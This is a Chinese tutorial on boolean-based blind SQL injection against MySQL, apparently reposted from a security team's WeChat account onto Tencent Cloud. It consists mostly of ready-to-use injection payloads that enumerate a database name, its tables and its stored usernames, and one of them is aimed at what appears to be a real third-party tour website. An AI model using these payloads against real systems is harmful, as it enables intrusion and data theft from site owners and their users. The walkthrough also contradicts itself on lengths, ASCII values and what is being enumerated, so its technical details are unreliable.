前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >基于 MySQL 布尔值的 SQL 盲注

基于 MySQL 布尔值的 SQL 盲注

作者头像
Khan安全团队
发布2022-04-02 11:04:35
1.2K0
发布2022-04-02 11:04:35
举报
文章被收录于专栏:Khan安全团队

识别漏洞

通常在 Blind SQLi 中,您无法真正看到您输入的查询的输出。在这种情况下,验证漏洞的唯一方法是查看网站是否成功/部分加载。

使用以下查询来识别网站行为:

代码语言:javascript
复制
http://domain.com/index.php?id=1' AND 4570=4570 AND 'ZeoB'='ZeoB

页面完全加载成功。

代码语言:javascript
复制
http://www.nttbworld.com/tour-details.php?id=65' AND 4570=4570 AND 'ZeoB'='ZeoBFalse

页面将部分加载或什至不会加载。

检索数据库

检索数据库名称的长度

给定的查询将验证数据库是否有 14 个字符。

代码语言:javascript
复制
http://domain.com/index.php?id=1' AND (length(database())) = 15 --+

如果网站部分加载或不加载,则表示数据库不是 10 个字符长。

给定的查询将验证数据库是否有 9 个字符。

代码语言:javascript
复制
http://domain.com/index.php?id=1' AND (length(database())) = 11 --+

页面加载成功。数据库名称长度为 11 个字符。

检索数据库名称

这种方法很慢,因为我们必须对数据库的每个字符进行命中或未命中。下面就让我们一起来看看吧。下表将帮助我们将 ascii 转换为字符串。

给定的查询将定义数据库名称的第一个字符是 111 (o)

代码语言:javascript
复制
http://domain.com/index.php?id=1' AND (ascii(substr((select database()),1,1))) > 110 --+

网站没有完全加载,所以我们的条件不正确,让我们尝试另一个 ascii。

给定的查询将定义数据库名称的第一个字符是 110 (n)

代码语言:javascript
复制
http://domain.com/index.php?id=1' AND (ascii(substr((select database()),1,1))) > 109 --+

网站完全加载,这意味着数据库的第一个字符是n。

继续枚举数据库名称的第二个字符。

给定的查询将定义数据库名称的第一个字符是 98 (h)

代码语言:javascript
复制
http://domain.com/index.php?id=1' AND (ascii(substr((select database()),2,1))) > 97 --+

网站没有完全加载,所以我们的条件不正确,让我们尝试另一个 ascii。

给定的查询将定义数据库名称的第一个字符是 116 (t)

代码语言:javascript
复制
http://domain.com/index.php?id=1' AND (ascii(substr((select database()),2,1))) > 115 --+

网站完全加载,这意味着数据库的第二个字符是t。

继续一遍又一遍地执行相同的过程,直到找到所有 11 个字符。

第一个字符:110 -> n 第二个字符:116 -> t 第三个字符:116 -> t 第四个字符:104 -> h 第五个字符:119 -> w 第六个字符:102 -> f 第七个字符:105 -> i 第八个字符:57 -> 9 第 九 个字符:95 -> _ 第 十 个字符:100 -> d 第 十一 个字符:98 -> b

所有 11 个字符组合在一起将是数据库名称:ntthwfi9_db

检索表名的长度

给定查询将测试第一个表的字符串长度是否等于 4 的条件。

代码语言:javascript
复制
' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 4 --+

网站没有正常加载,如果长度是5个字符我们试试:

代码语言:javascript
复制
' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 5 --+

网站加载完全,所以第一个表名的长度是5。

注意:您也可以通过更改这部分有效负载中的数值来枚举其他表:(限制0 ,1)。只需用另一个号码替换它。例如,让我们看看第 4 列是否有 6 个字符:

代码语言:javascript
复制
' AND (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 6 --+

检索表名的名称

在这种情况下,我将列举第一列。让我们找到表格的第一个字符:

代码语言:javascript
复制
' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1))) > 108 --+

网站无法正常加载,错误响应。

代码语言:javascript
复制
' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1))) > 114 --+

网站无法正常加载,错误响应。

代码语言:javascript
复制
' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1))) > 116 --+

网站完全加载,这意味着第一个字符是 ascii 117 (u)。

让我们找到表格的最后一个字符(第 5 个字符):

代码语言:javascript
复制
' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 4,1) ,1,1))) > 96 --+

网站无法正常加载,错误响应。

代码语言:javascript
复制
' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 4,1) ,1,1))) > 105 --+

网站无法正常加载,错误响应。

代码语言:javascript
复制
' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 4,1) ,1,1))) > 114 --+

网站满载,这意味着第一个字符是ascii 115(s)。

继续对其他字符执行相同的过程,直到找到所有字符。

第一个字符:110 -> u 第二个字符:115 -> s 第三个字符:101 -> e 第四个字符:114 -> r 第五个字符:115 -> s

所有 5 个字符组合在一起将是第一个表名:users

检索列名的长度

使用与之前相同的方法,枚举列名的长度。

下面给出的查询将测试字符串长度是否等于 6:

代码语言:javascript
复制
' AND (length((select username from users limit 0,1))) = 6 --+

网站加载不正确,列不是 6 个字符长。

下面给出的查询将测试字符串长度是否等于 4:

代码语言:javascript
复制
' AND (length((select username from users limit 0,1))) = 4 --+

网站已完全加载,列长度为 6 个字符。

使用相同的方法,您还可以枚举其他列。

枚举第二列的长度是否为 6:

代码语言:javascript
复制
' AND (length((select username from users limit 1,1))) = 6 --+

枚举第三列的长度是否为 5:

代码语言:javascript
复制
' AND (length((select username from users limit 2,1))) = 5 --+

检索列名

既然我们知道列名的长度是4,那么我们来一一找出字符。

下面给出的查询将测试第一个列名的第一个字符是否为 ascii 101 (e):

代码语言:javascript
复制
' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 100 --+

网站没有正确加载,第一个字符不是e。

下面给出的查询将测试第一个列名的第一个字符是否为 ascii 112 (p):

代码语言:javascript
复制
' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 111 --+

网站未正确加载,第一个字符为p

下面给出的查询将测试第一列名称的第二个字符是否为 ascii 97 (a):

代码语言:javascript
复制
' AND (ascii(substr((select username from users limit 1,1) ,1,1))) > 96 --+

网站未正确加载,第二个字符为 a

下面给出的查询将测试第一列名称的第三个字符是否为 ascii 115 (s):

代码语言:javascript
复制
' AND (ascii(substr((select username from users limit 2,1) ,1,1))) > 114 --+

网站未正确加载,第三个字符为s

下面给出的查询将测试第一列名称的第四个字符是否为 ascii 115 (s):

代码语言:javascript
复制
' AND (ascii(substr((select username from users limit 3,1) ,1,1))) > 114 --+

网站未正确加载,第四个字符为s

第一个字符:110 -> p

第二个字符:97 -> a

第三个字符:115 -> s

第四个字符:115 ->s

所有 4 个字符组合在一起将是列表名称:pass

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-02-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 识别漏洞
  • 检索数据库
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档